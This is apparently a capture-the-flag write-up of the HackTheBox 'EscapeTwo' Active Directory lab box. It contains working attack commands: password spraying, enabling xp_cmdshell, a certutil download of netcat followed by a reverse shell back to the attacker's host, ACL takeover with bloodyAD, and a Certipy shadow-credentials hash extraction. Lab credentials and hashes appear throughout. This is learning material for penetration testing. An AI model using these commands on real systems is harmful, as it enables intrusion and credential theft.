EscapeTwo – HackTheBox Link to heading
- OS: Windows
- Difficulty: Easy
- Platform: HackTheBox
![]()
Summary Link to heading
“EscapeTwo” is an easy box from HackTheBox platform focused on Active Directory. We start with initial credentials provided for a first user. This user has access to a file that contains multiple passwords. One of these passwords work for a user in the system, allowing us to pivot to a second user. Additionally, this password works to access a Microsoft SQL Server (MSSQL) service in the system, where we are allowed to execute system commands and gain initial access to the victim machine. Once inside, we are able to read configuration files for SQL services, where a credential found is used for a third user in the system. This third user has WriteOwner permissions over a CA (Certifcate Authority) account, which allow us to perform a Shadow Credential attack and extract its NT hash. Finally, using this last CA user, we find a certificate vulnerable to ESC4. This allow us to request a certificate file in behalf of Administrator user, extract its NT hash and take control of the domain.
User Link to heading
rose and password KxEPkKe6R8su.User Link to heading
We start looking for open TCP ports in the victim machine with a quick and silent Nmap scan:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv
Nmap scan shows multiple ports open: 53 DNS, 88 Kerberos, 135 Microsoft RPC, 389 LDAP, 445 SMB, 1433 Microsoft SQL Server (MSSQL), 5985 Windows Remote Management (WinRM); among many others:
❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49687,49692,49716,49725,49796 10.10.11.51
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-14 03:43 -03
Nmap scan report for 10.10.11.51
Host is up (0.31s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-14 06:43:53Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T06:45:34+00:00; +3s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T06:45:33+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
| 10.10.11.51:1433:
| Target_Name: SEQUEL
| NetBIOS_Domain_Name: SEQUEL
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: sequel.htb
| DNS_Computer_Name: DC01.sequel.htb
| DNS_Tree_Name: sequel.htb
|_ Product_Version: 10.0.17763
|_ssl-date: 2025-01-14T06:45:34+00:00; +2s from scanner time.
| ms-sql-info:
| 10.10.11.51:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-01-13T20:46:30
|_Not valid after: 2055-01-13T20:46:30
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T06:45:34+00:00; +3s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T06:45:33+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after: 2025-06-08T17:35:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49685/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49686/tcp open msrpc Microsoft Windows RPC
49687/tcp open msrpc Microsoft Windows RPC
49692/tcp open msrpc Microsoft Windows RPC
49716/tcp open msrpc Microsoft Windows RPC
49725/tcp open msrpc Microsoft Windows RPC
49796/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 2s, deviation: 0s, median: 1s
| smb2-time:
| date: 2025-01-14T06:44:56
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.23 seconds
Using NetExec against SMB service shows that we have a machine named DC01 and a domain sequel.htb:
❯ nxc smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su'
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
We then add the FQDN (DC01.sequel.htb), machine name and domain to our /etc/hosts file since we can see this is the domain controller of an Active Directory domain due to its name (DC -> Domain Controller):
❯ echo '10.10.11.51 DC01 DC01.sequel.htb sequel.htb' | sudo tee -a /etc/hosts
Looking for SMB shares available for this user we can see 2 non-default shares; one called Accounting Department and another one called Users:
❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --shares
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.10.11.51 445 DC01 [*] Enumerated shares
SMB 10.10.11.51 445 DC01 Share Permissions Remark
SMB 10.10.11.51 445 DC01 ----- ----------- ------
SMB 10.10.11.51 445 DC01 Accounting Department READ
SMB 10.10.11.51 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.51 445 DC01 C$ Default share
SMB 10.10.11.51 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.51 445 DC01 NETLOGON READ Logon server share
SMB 10.10.11.51 445 DC01 SYSVOL READ Logon server share
SMB 10.10.11.51 445 DC01 Users READ
We can use, again, NetExec to check contents inside Accounting Department share. We use the flag --pattern . that is a regular expression to specify that we want any output:
❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --spider 'Accounting Department' --pattern .
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.10.11.51 445 DC01 [*] Started spidering
SMB 10.10.11.51 445 DC01 [*] Spidering .
SMB 10.10.11.51 445 DC01 //10.10.11.51/Accounting Department/. [dir]
SMB 10.10.11.51 445 DC01 //10.10.11.51/Accounting Department/.. [dir]
SMB 10.10.11.51 445 DC01 //10.10.11.51/Accounting Department/accounting_2024.xlsx [lastm:'2024-06-09 07:11' size:10217]
SMB 10.10.11.51 445 DC01 //10.10.11.51/Accounting Department/accounts.xlsx [lastm:'2024-06-09 07:11' size:6780]
SMB 10.10.11.51 445 DC01 [*] Done spidering (Completed in 1.4340341091156006)
We can see 2 files: accounting_2024.xlsx and accounts.xlsx.
We can download these files using NetExec as well:
❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --share 'Accounting Department' --get-file accounting_2024.xlsx accounting_2024.xlsx
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.10.11.51 445 DC01 [*] Copying "accounting_2024.xlsx" to "accounting_2024.xlsx"
SMB 10.10.11.51 445 DC01 [+] File "accounting_2024.xlsx" was downloaded to "accounting_2024.xlsx"
❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --share 'Accounting Department' --get-file accounts.xlsx accounts.xlsx
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.10.11.51 445 DC01 [*] Copying "accounts.xlsx" to "accounts.xlsx"
SMB 10.10.11.51 445 DC01 [+] File "accounts.xlsx" was downloaded to "accounts.xlsx"
These are .xlsx files:
XLSX files are a zipped, XML-based excel file format created by Microsoft ExcelOnce we have downloaded these files, we need to extract its content. For this we can create a new directory that will store all the extracted data from these files:
❯ mkdir accounts_content
❯ xdg-open accounts.xlsx
and extract its content using the GUI format:

In my case I got an error that some files could not be extracted, but could extract most of them:
❯ tree -f .
.
├── ./[Content_Types].xml
├── ./docProps
│ ├── ./docProps/app.xml
│ ├── ./docProps/core.xml
│ └── ./docProps/custom.xml
├── ./_rels
└── ./xl
├── ./xl/_rels
│ └── ./xl/_rels/workbook.xml.rels
├── ./xl/sharedStrings.xml
├── ./xl/styles.xml
├── ./xl/theme
│ └── ./xl/theme/theme1.xml
├── ./xl/workbook.xml
└── ./xl/worksheets
├── ./xl/worksheets/_rels
│ └── ./xl/worksheets/_rels/sheet1.xml.rels
└── ./xl/worksheets/sheet1.xml
8 directories, 11 files
We then search for the string password using grep in the extracted files:
❯ grep -ir 'password' . 2>/dev/null
./xl/sharedStrings.xml:<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="25" uniqueCount="24"><si><t xml:space="preserve">First Name</t></si><si><t xml:space="preserve">Last Name</t></si><si><t xml:space="preserve">Email</t></si><si><t xml:space="preserve">Username</t></si><si><t xml:space="preserve">Password</t></si><si><t xml:space="preserve">Angela</t></si><si><t xml:space="preserve">Martin</t></si><si><t xml:space="preserve">angela@sequel.htb</t></si><si><t xml:space="preserve">angela</t></si><si><t xml:space="preserve">0fwz7Q4mSpurIt99</t></si><si><t xml:space="preserve">Oscar</t></si><si><t xml:space="preserve">Martinez</t></si><si><t xml:space="preserve">oscar@sequel.htb</t></si><si><t xml:space="preserve">oscar</t></si><si><t xml:space="preserve">86LxLBMgEWaKUnBG</t></si><si><t xml:space="preserve">Kevin</t></si><si><t xml:space="preserve">Malone</t></si><si><t xml:space="preserve">kevin@sequel.htb</t></si><si><t xml:space="preserve">kevin</t></si><si><t xml:space="preserve">Md9Wlq1E5bZnVDVo</t></si><si><t xml:space="preserve">NULL</t></si><si><t xml:space="preserve">sa@sequel.htb</t></si><si><t xml:space="preserve">sa</t></si><si><t xml:space="preserve">MSSQLP@ssw0rd!</t></si></sst>
The file xl/sharedStrings.xml has something.
To have a better view of this file we can open it using LibreOffice or just use any online page that opens .xml files. Since I like to complicate my life, I create a Python script to read the .xml file:
#!/usr/bin/python3
import xml.etree.ElementTree as ET
def parse_shared_strings(xml_file):
# Parse the XML file
tree = ET.parse(xml_file)
root = tree.getroot()
namespace = {'ns': 'http://schemas.openxmlformats.org/spreadsheetml/2006/main'}
# Extract text from all <t> tags
data = [elem.text if elem.text != "NULL" else "<NULL>" for elem in root.findall(".//ns:t", namespace)]
updated_data = []
for i, value in enumerate(data):
updated_data.append(value)
if i % 5 == 0 and value == "<NULL>": # We have 5 fields in XML file
updated_data.append("<NULL>") # Add "<NULL>" for "Last Name"
return updated_data
def pretty_print(data):
# Group data into rows of 5 (assuming each row has 5 fields)
rows = [data[i:i+5] for i in range(0, len(data), 5)]
# Print header
print("{:<12} {:<12} {:<25} {:<12} {:<20}".format("First Name", "Last Name", "Email", "Username", "Password"))
print("-" * 85)
# Print rows
for row in rows:
print("{:<12} {:<12} {:<25} {:<12} {:<20}".format(*row))
if __name__ == "__main__":
# Path to the XML file
xml_file = "./xl/sharedStrings.xml"
# Parse the data
data = parse_shared_strings(xml_file)
# Pretty print the data
pretty_print(data)
and run it:
❯ python3 xml_viewver.py
First Name Last Name Email Username Password
-------------------------------------------------------------------------------------
First Name Last Name Email Username Password
Angela Martin angela@sequel.htb angela 0fwz7Q4mSpurIt99
Oscar Martinez oscar@sequel.htb oscar 86LxLBMgEWaKUnBG
Kevin Malone kevin@sequel.htb kevin Md9Wlq1E5bZnVDVo
<NULL> <NULL> sa@sequel.htb sa MSSQLP@ssw0rd!
We have 4 usernames and passwords.
We can save all the users in a file:
❯ python3 xml_viewver.py | tail -n 4 | awk '{print $4}' > potential_users.txt
and all the passwords in another file:
❯ python3 xml_viewver.py | tail -n 4 | awk '{print $5}' > potential_passwords.txt
Before doing a Password Spray attack, it is also a good idea to check the number of attempts we can do before an accounts gets locked. We can do this with NetExec and its --pass-pol flag for SMB service:
❯ nxc smb dc01.sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --pass-pol
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.10.11.51 445 DC01 [+] Dumping password info for domain: SEQUEL
SMB 10.10.11.51 445 DC01 Minimum password length: 7
SMB 10.10.11.51 445 DC01 Password history length: 24
SMB 10.10.11.51 445 DC01 Maximum password age: 41 days 23 hours 53 minutes
SMB 10.10.11.51 445 DC01
SMB 10.10.11.51 445 DC01 Password Complexity Flags: 000000
SMB 10.10.11.51 445 DC01 Domain Refuse Password Change: 0
SMB 10.10.11.51 445 DC01 Domain Password Store Cleartext: 0
SMB 10.10.11.51 445 DC01 Domain Password Lockout Admins: 0
SMB 10.10.11.51 445 DC01 Domain Password No Clear Change: 0
SMB 10.10.11.51 445 DC01 Domain Password No Anon Change: 0
SMB 10.10.11.51 445 DC01 Domain Password Complex: 0
SMB 10.10.11.51 445 DC01
SMB 10.10.11.51 445 DC01 Minimum password age: 1 day 4 minutes
SMB 10.10.11.51 445 DC01 Reset Account Lockout Counter: 10 minutes
SMB 10.10.11.51 445 DC01 Locked Account Duration: 10 minutes
SMB 10.10.11.51 445 DC01 Account Lockout Threshold: None
SMB 10.10.11.51 445 DC01 Forced Log off Time: Not Set
We basically have infinite attempts as expected for an Easy box machine.
Password Spray or we could lockout accounts.We use again NetExec to check for credentials that could be useful:
❯ nxc smb dc01.sequel.htb -u potential_users.txt -p potential_passwords.txt --continue-on-success
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
<SNIP>
SMB 10.10.11.51 445 DC01 [-] sequel.htb\angela:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [+] sequel.htb\oscar:86LxLBMgEWaKUnBG
SMB 10.10.11.51 445 DC01 [-] sequel.htb\kevin:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE
<SNIP>
We have valid credentials: oscar:86LxLBMgEWaKUnBG.
But this user does not have any new shared resource we have not seen before:
❯ nxc smb dc01.sequel.htb -u oscar -p '86LxLBMgEWaKUnBG' --shares
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\oscar:86LxLBMgEWaKUnBG
SMB 10.10.11.51 445 DC01 [*] Enumerated shares
SMB 10.10.11.51 445 DC01 Share Permissions Remark
SMB 10.10.11.51 445 DC01 ----- ----------- ------
SMB 10.10.11.51 445 DC01 Accounting Department READ
SMB 10.10.11.51 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.51 445 DC01 C$ Default share
SMB 10.10.11.51 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.51 445 DC01 NETLOGON READ Logon server share
SMB 10.10.11.51 445 DC01 SYSVOL READ Logon server share
SMB 10.10.11.51 445 DC01 Users READ
We also remember that MSSQL was also running in the victim machine. We can also check if sa credentials are valid for that service with the previously found credentials sa:MSSQLP@ssw0rd! using --local-auth flag in mssql module in NetExec to use MSSQL login session (if we do not use --local-auth we are using AD session):
❯ nxc mssql dc01.sequel.htb -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL 10.10.11.51 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
It worked. We have valid credentials for MSSQL service.
We can then use impacket-mssqlclient to log into this service:
❯ impacket-mssqlclient sa:'MSSQLP@ssw0rd!'@dc01.sequel.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (sa dbo@master)>
Then, it is always a good idea going to HackTricks.
We check databases:
SQL (sa dbo@master)> SELECT name FROM master.dbo.sysdatabases;
name
------
master
tempdb
model
msdb
But these are the ones that comes by default on MSSQL. So nothing interesting.
We can see if we can execute commands:
SQL (sa dbo@master)> EXEC xp_cmdshell "net user";
ERROR(DC01\SQLEXPRESS): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
We can’t.
But we can try to enable command execution:
SQL (sa dbo@master)> EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
It seems this has worked. If we try to execute commands now with xp_cmdshell we get:
SQL (sa dbo@master)> EXEC xp_cmdshell "net user";
output
-------------------------------------------------------------------------------
NULL
User accounts for \\DC01
NULL
-------------------------------------------------------------------------------
Administrator ca_svc Guest
krbtgt michael oscar
rose ryan sql_svc
The command completed successfully.
NULL
NULL
Seems that this has worked.
We can then pass a netcat binary to the victim machine. We can start a Python HTTP server on port 8000 exposing netcat binary for Windows:
❯ ls -la && python3 -m http.server 8000
total 56
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Jan 14 05:16 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Jan 14 03:42 ..
-rw-r--r-- 1 gunzf0x gunzf0x 45272 Jan 14 05:16 nc64.exe
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
and use certutil in the victim machine to download the file:
SQL (sa dbo@master)> EXEC xp_cmdshell "certutil.exe -urlcache -split -f http://10.10.16.3:8000/nc64.exe C:\Users\Public\Downloads\nc.exe";
output
---------------------------------------------------
**** Online ****
0000 ...
b0d8
CertUtil: -URLCache command completed successfully.
NULL
Start a netcat listener in port 443, along with rlwrap to have some options like go to previous commands with keyboard arrows:
❯ rlwrap -cAr nc -lvnp 443
and pass the payload at impacket-mssqlclient session:
SQL (sa dbo@master)> EXEC xp_cmdshell "C:\Users\Public\Downloads\nc.exe 10.10.16.3 443 -e cmd.exe";
We get a shell as sql_svc user:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.51] 59982
Microsoft Windows [Version 10.0.17763.6659]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
sequel\sql_svc
At C:\ directory there is a SQL2019 directory:
C:\Windows\system32>dir C:\
dir C:\
Volume in drive C has no label.
Volume Serial Number is 3705-289D
Directory of C:\
11/05/2022 11:03 AM <DIR> PerfLogs
01/04/2025 07:11 AM <DIR> Program Files
06/09/2024 07:37 AM <DIR> Program Files (x86)
06/08/2024 02:07 PM <DIR> SQL2019
06/09/2024 05:42 AM <DIR> Users
01/04/2025 08:10 AM <DIR> Windows
0 File(s) 0 bytes
6 Dir(s) 2,178,764,800 bytes free
Looking for configuration files we have many of them:
C:\SQL2019>tree /f . | findstr /i conf
tree /f . | findstr /i conf
SETUP.EXE.CONFIG
sql-Configuration.INI
CONFIGURATION.UICFG
<SNIP>
Excluding .exe and .dll files, we have some .xml and .ini files. This page suggests that for MSSQL services we should have configurations at .ini files.
Therefore, we check sql-Configuration.INI and get something:
C:\SQL2019>type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI | findstr /i password
type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI | findstr /i password
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
We have a password: WqSZAF6CysDQbGb3.
We can then search for users in this machine:
C:\SQL2019>net user
net user
User accounts for \\DC01
-------------------------------------------------------------------------------
Administrator ca_svc Guest
krbtgt michael oscar
rose ryan sql_svc
The command completed successfully.
Besides oscar and rose (whose passwords we already know), we have 3 new users: michael, ca_svc and ryan. We can, as usual, use NetExec to check if this is a valid password for any of these users:
❯ nxc smb dc01.sequel.htb -u michael ca_svc ryan -p 'WqSZAF6CysDQbGb3'
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [-] sequel.htb\michael:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [-] sequel.htb\ca_svc:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB 10.10.11.51 445 DC01 [+] sequel.htb\ryan:WqSZAF6CysDQbGb3
We have valid credentials: ryan:WqSZAF6CysDQbGb3.
ryan user is part of Remote Management Users:
C:\SQL2019>net user ryan
net user ryan
User name ryan
Full Name Ryan Howard
<SNIP>
Last logon 1/13/2025 3:39:27 PM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *Management Department*Domain Users
The command completed successfully.
so we should be able to connect with WinRM to the victim machine:
❯ nxc winrm dc01.sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3'
WINRM 10.10.11.51 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
WINRM 10.10.11.51 5985 DC01 [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)
Therefore, use evil-winrm to connect as ryan user in the victim machine:
❯ evil-winrm -i dc01.sequel.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3'
Evil-WinRM shell v3.6
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents>
NT Authority/System - Administrator Link to heading
What catches my attention while we used net user is that there is a ca_svc user. CA is usually the acronym for Certification Authority in Active Directory environments. To analyze the AD environment we will use Bloodhound. To get relations in the domain we will use SharpHound. Grab a copy of it from its Github repository, unzip/decompress the content and pass the .exe file to the victim machine using upload command from evil-winrm:
*Evil-WinRM* PS C:\Users\ryan\Documents> upload SharpHound.exe
and execute SharpHound to collect data about AD environment:
*Evil-WinRM* PS C:\Users\ryan\Documents> .\SharpHound.exe -c All
2025-01-14T00:47:24.0440447-08:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2025-01-14T00:47:24.2784202-08:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices
<SNIP>
1 name to SID mappings.
1 machine sid mappings.
4 sid to domain mappings.
0 global catalog mappings.
2025-01-14T00:47:26.6377987-08:00|INFORMATION|SharpHound Enumeration Completed at 12:47 AM on 1/14/2025! Happy Graphing!
This should have generated a .zip file:
*Evil-WinRM* PS C:\Users\ryan\Documents> ls
Directory: C:\Users\ryan\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/14/2025 12:47 AM 34959 20250114004725_BloodHound.zip
-a---- 1/14/2025 12:47 AM 1523 NGZlZGJhNTUtZGMxZi00MzRhLTkxYzUtZWNjYjM1NGU4YzNl.bin
-a---- 1/14/2025 12:46 AM 1556480 SharpHound.exe
Use download command from evil-winrm to download this file into our attacker machine:
*Evil-WinRM* PS C:\Users\ryan\Documents> download 20250114004725_BloodHound.zip
Info: Downloading C:\Users\ryan\Documents\20250114004725_BloodHound.zip to 20250114004725_BloodHound.zip
Info: Download successful!
We upload the generated .zip file to Bloodhound (in my case I will use the Community Edition, or CE). We search for ryan user and click on Outbound Object Control. We can see:

We have WriteOwner rights over ca_svc account:

WriteOwner means that we can grant us full rights over ca_svc account, or we could change its password.
First, we can set us (ryan user) as the owner of the object/target (ca_svc) using bloodyAD:
❯ bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
[+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by ryan on ca_svc
and grant us full control over ca_svc account with dacledit.py from Impacket:
❯ impacket-dacledit -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' SEQUEL.HTB/ryan:'WqSZAF6CysDQbGb3'
[*] DACL backed up to dacledit-20250114-061524.bak
[*] DACL modified successfully!
We can then attempt a Shadow Credentials attack (we could also change the password of ca_svc account, but in reality we should avoid this) to obtain the NTLM hash for ca_svc account. For this we could use PyWhisker. But recently I have also discovered that we can do this with Certipy tool (which can be downloaded from its Github repository and installed with pip3 install certipy-ad). We use it then to perform this attack:
❯ certipy shadow auto -username ryan@sequel.htb -password 'WqSZAF6CysDQbGb3' -account 'ca_svc'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '98a79799-8c39-847d-a6b5-98c64a4fc496'
[*] Adding Key Credential with device ID '98a79799-8c39-847d-a6b5-98c64a4fc496' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '98a79799-8c39-847d-a6b5-98c64a4fc496' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': 3b181b914e7a9d5508ea1e20bc2b7fce
We got a hash for ca_svc account.
As usual, use NetExec to check if this hash is valid:
❯ nxc smb DC01.sequel.htb -u 'ca_svc' -H '3b181b914e7a9d5508ea1e20bc2b7fce'
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\ca_svc:3b181b914e7a9d5508ea1e20bc2b7fce
It is a valid hash.
But this user does not have interesting rights over other users or accounts:

However, as its name says, we should be able to deal with certificates with this account. To authenticate from the outside with this account, we can use its hash with Certipy searching for vulnerable certificates:
❯ certipy find -username 'ca_svc'@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -dc-ip 10.10.11.51 -target dc01.sequel.htb -vulnerable -enabled
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC01-CA' via RRP
[*] Got CA configuration for 'sequel-DC01-CA'
[*] Saved BloodHound data to '20250114064030_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250114064030_Certipy.txt'
